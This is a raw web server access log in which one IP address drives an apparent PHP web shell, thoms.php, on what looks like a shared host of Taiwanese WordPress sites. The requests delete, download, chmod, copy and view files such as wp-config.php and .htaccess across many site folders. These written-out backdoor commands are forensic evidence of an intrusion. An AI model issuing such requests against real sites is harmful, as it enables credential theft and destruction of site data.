45.135.193.11 - - [11/Sep/2026:23:14:33 -0400] "GET /thoms.php?dl=wp-activate.php&p=big-wife.com.tw HTTP/1.1" 200 17362 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:33 -0400] "GET /thoms.php?del=wp-mail.php&p=big-wife.com.tw HTTP/1.1" 200 17362 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:33 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59360 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:33 -0400] "GET /thoms.php?del=xmlrpc.php&p=big-wife.com.tw HTTP/1.1" 200 17363 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:33 -0400] "GET /thoms.php?chmod=text-kernel&p=big-wife.com.tw HTTP/1.1" 200 11478 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:33 -0400] "GET /thoms.php?del=readme.html&p=big-wife.com.tw HTTP/1.1" 200 17363 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:33 -0400] "GET /big-wife.com.tw HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:33 -0400] "GET /thoms.php?chmod=wp-mail.php&p=big-wife.com.tw HTTP/1.1" 200 11482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:33 -0400] "GET /thoms.php?del=.htaccess&p=big-wife.com.tw HTTP/1.1" 200 17363 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:33 -0400] "GET /thoms.php?del=wp-config.php&p=big-wife.com.tw HTTP/1.1" 200 17363 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:34 -0400] "GET /thoms.php?chmod=.htaccess&p=big-wife.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:34 -0400] "GET /thoms.php?p=big-wife.com.tw&view=locoy.php HTTP/1.1" 200 12951 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:34 -0400] "GET /thoms.php?chmod=wp-activate.php&p=big-wife.com.tw HTTP/1.1" 200 11484 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:34 -0400] "GET /big-wife.com.tw/ HTTP/1.1" 404 11320 "https://163.245.207.76/big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:34 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fcgi-bin HTTP/1.1" 200 12044 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:34 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fmah.php&p=big-wife.com.tw HTTP/1.1" 200 11462 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:34 -0400] "GET /thoms.php?p=big-wife.com.tw&view=wp-login.php HTTP/1.1" 200 29025 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:34 -0400] "GET /thoms.php?dl=readme.html&p=big-wife.com.tw HTTP/1.1" 200 17365 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:34 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 14352 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:34 -0400] "GET /thoms.php?del=wp-admin&p=big-wife.com.tw HTTP/1.1" 200 17365 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:34 -0400] "GET /thoms.php?p=big-wife.com.tw&view=license.txt HTTP/1.1" 200 20075 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:34 -0400] "GET /thoms.php?p=big-wife.com.tw&view=thoms.php HTTP/1.1" 200 11816 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:34 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:34 -0400] "GET /thoms.php?p=big-wife.com.tw&view=wp-activate.php HTTP/1.1" 200 14812 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:34 -0400] "GET /thoms.php?p=big-wife.com.tw&view=wp-comments-post.php HTTP/1.1" 200 13029 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:34 -0400] "GET /thoms.php?copy=big-wife.com.tw%2F.well-known&p= HTTP/1.1" 200 12079 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:34 -0400] "GET /thoms.php?del=wp-includes&p=big-wife.com.tw HTTP/1.1" 200 17364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:34 -0400] "GET /thoms.php?p=big-wife.com.tw&view=wp-cron.php HTTP/1.1" 200 14173 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:34 -0400] "GET /thoms.php?del=license.txt&p=big-wife.com.tw HTTP/1.1" 200 17364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:34 -0400] "GET /thoms.php?dl=wp-config.php&p=big-wife.com.tw HTTP/1.1" 200 17365 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:34 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-cron.php&p=big-wife.com.tw HTTP/1.1" 200 11478 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:34 -0400] "GET /thoms.php?chmod=wp-links-opml.php&p=big-wife.com.tw HTTP/1.1" 200 11499 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:34 -0400] "GET /thoms.php?chmod=wp-login.php&p=big-wife.com.tw HTTP/1.1" 200 11493 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:34 -0400] "GET /thoms.php?del=text-kernel&p=big-wife.com.tw HTTP/1.1" 200 17363 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:34 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Ferror_log&p=big-wife.com.tw HTTP/1.1" 200 11473 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:34 -0400] "GET /thoms.php?del=upgrade&p=big-wife.com.tw HTTP/1.1" 200 17263 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:34 -0400] "GET /thoms.php?del=wp-signup.php&p=big-wife.com.tw HTTP/1.1" 200 17365 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:34 -0400] "GET /thoms.php?p=big-wife.com.tw&settings=1 HTTP/1.1" 200 11880 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:34 -0400] "GET /thoms.php?dl=wp-signup.php&p=big-wife.com.tw HTTP/1.1" 200 17364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:34 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-content HTTP/1.1" 200 13611 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:34 -0400] "GET /thoms.php?del=wp-login.php&p=big-wife.com.tw HTTP/1.1" 200 17365 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:34 -0400] "GET /thoms.php?p=big-wife.com.tw&view=.htaccess HTTP/1.1" 200 12734 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:34 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Flocoy.php&p=big-wife.com.tw HTTP/1.1" 200 11463 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:35 -0400] "GET /thoms.php?chmod=wp-settings.php&p=big-wife.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:35 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-trackback.php&p=big-wife.com.tw HTTP/1.1" 200 11467 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:35 -0400] "GET /thoms.php?chmod=error_log&p=big-wife.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:35 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Findex.php&p=big-wife.com.tw HTTP/1.1" 200 11461 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:35 -0400] "GET /thoms.php?chmod=mah.php&p=big-wife.com.tw HTTP/1.1" 200 11471 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:35 -0400] "GET /thoms.php?del=wp-cron.php&p=big-wife.com.tw HTTP/1.1" 200 17364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:35 -0400] "GET /thoms.php?chmod=wp-load.php&p=big-wife.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:35 -0400] "GET /thoms.php?chmod=wp-admin&p=big-wife.com.tw HTTP/1.1" 200 11478 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:35 -0400] "GET /thoms.php?chmod=wp-includes&p=big-wife.com.tw HTTP/1.1" 200 11482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:35 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Freadme.html&p=big-wife.com.tw HTTP/1.1" 200 11462 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:35 -0400] "GET /thoms.php?p=big-wife.com.tw&view=wp-blog-header.php HTTP/1.1" 200 12025 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:35 -0400] "GET /thoms.php?p=big-wife.com.tw&view=wp-mail.php HTTP/1.1" 200 15346 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:35 -0400] "GET /thoms.php?copy=big-wife.com.tw%2F.htaccess&p=big-wife.com.tw HTTP/1.1" 200 11459 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:35 -0400] "GET /thoms.php?chmod=thoms.php&p=big-wife.com.tw HTTP/1.1" 200 11472 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:35 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-config.php&p=big-wife.com.tw HTTP/1.1" 200 11464 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:35 -0400] "GET /thoms.php?del=wp-config-sample.php&p=big-wife.com.tw HTTP/1.1" 200 17355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:35 -0400] "GET /thoms.php?p=big-wife.com.tw&upload= HTTP/1.1" 200 12152 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:35 -0400] "GET /thoms.php?chmod=orphan-transpiler&p=big-wife.com.tw HTTP/1.1" 200 11483 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:35 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes&p= HTTP/1.1" 200 12073 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:35 -0400] "GET /thoms.php?copy=bestjudy.com.tw&p=bogroup.com.tw HTTP/1.1" 200 11451 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:35 -0400] "GET /thoms.php?copy=bestjudy.com.tw&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:35 -0400] "GET /thoms.php?copy=bestjudy.com.tw&p=betcity.com.tw HTTP/1.1" 200 11460 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:35 -0400] "GET /thoms.php?copy=bestjudy.com.tw&p=biotaiwan.com.tw HTTP/1.1" 200 11462 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:35 -0400] "GET /thoms.php?copy=bestjudy.com.tw&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11468 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:35 -0400] "GET /thoms.php?p= HTTP/1.1" 200 20250 "https://163.245.207.76/thoms.php?copy=bestjudy.com.tw&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:35 -0400] "GET /thoms.php?copy=bestjudy.com.tw&p=bft.com.tw HTTP/1.1" 200 11392 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:35 -0400] "GET /thoms.php?copy=bestjudy.com.tw&p=wp-content HTTP/1.1" 200 11369 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:35 -0400] "GET /thoms.php?copy=bestjudy.com.tw&finish=1&move=1&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:35 -0400] "GET /thoms.php?copy=bestjudy.com.tw&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:35 -0400] "GET /thoms.php?copy=bestjudy.com.tw&p=bioway88.com.tw HTTP/1.1" 200 11488 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:35 -0400] "GET /thoms.php?copy=bestjudy.com.tw&p=bodbooks.com.tw HTTP/1.1" 200 11498 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:35 -0400] "GET /thoms.php?p= HTTP/1.1" 200 20267 "https://163.245.207.76/thoms.php?copy=bestjudy.com.tw&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:35 -0400] "GET /thoms.php?p= HTTP/1.1" 200 20244 "https://163.245.207.76/thoms.php?copy=bestjudy.com.tw&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:35 -0400] "GET /thoms.php?copy=bestjudy.com.tw&p=big-wife.com.tw HTTP/1.1" 200 11473 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:35 -0400] "GET /thoms.php?copy=bestjudy.com.tw&p=broadweb.com.tw HTTP/1.1" 200 11478 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:35 -0400] "GET /thoms.php?copy=bestjudy.com.tw&p=cgi-bin HTTP/1.1" 200 11308 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:35 -0400] "GET /thoms.php?copy=bestjudy.com.tw&p=upgrade HTTP/1.1" 200 11370 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:35 -0400] "GET /thoms.php?copy=bestjudy.com.tw&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11407 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:35 -0400] "GET /thoms.php?copy=bestjudy.com.tw&p=bossini.com.tw HTTP/1.1" 200 11468 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:35 -0400] "GET /thoms.php?copy=bestjudy.com.tw&p=beauty-dental.com.tw HTTP/1.1" 200 11475 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:35 -0400] "GET /thoms.php?copy=bestjudy.com.tw&p=bestjudy.com.tw HTTP/1.1" 200 11445 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:36 -0400] "GET /thoms.php?copy=bestjudy.com.tw&p=bestzyx.com.tw HTTP/1.1" 200 11459 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:36 -0400] "GET /thoms.php?copy=bestjudy.com.tw&p=booking-wise2.com.tw HTTP/1.1" 200 11458 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:36 -0400] "GET /thoms.php?copy=bestjudy.com.tw&p=besth2o.com.tw HTTP/1.1" 200 11483 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:36 -0400] "GET /thoms.php?copy=bestjudy.com.tw&p=bfl.com.tw HTTP/1.1" 200 11468 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:36 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bogroup.com.tw HTTP/1.1" 200 11456 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:36 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11472 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:36 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bioway88.com.tw HTTP/1.1" 200 11492 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:36 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:36 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bfl.com.tw HTTP/1.1" 200 11433 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:36 -0400] "GET /thoms.php?copy=bestjudy.com.tw&finish=1&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:36 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=big-wife.com.tw HTTP/1.1" 200 11465 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
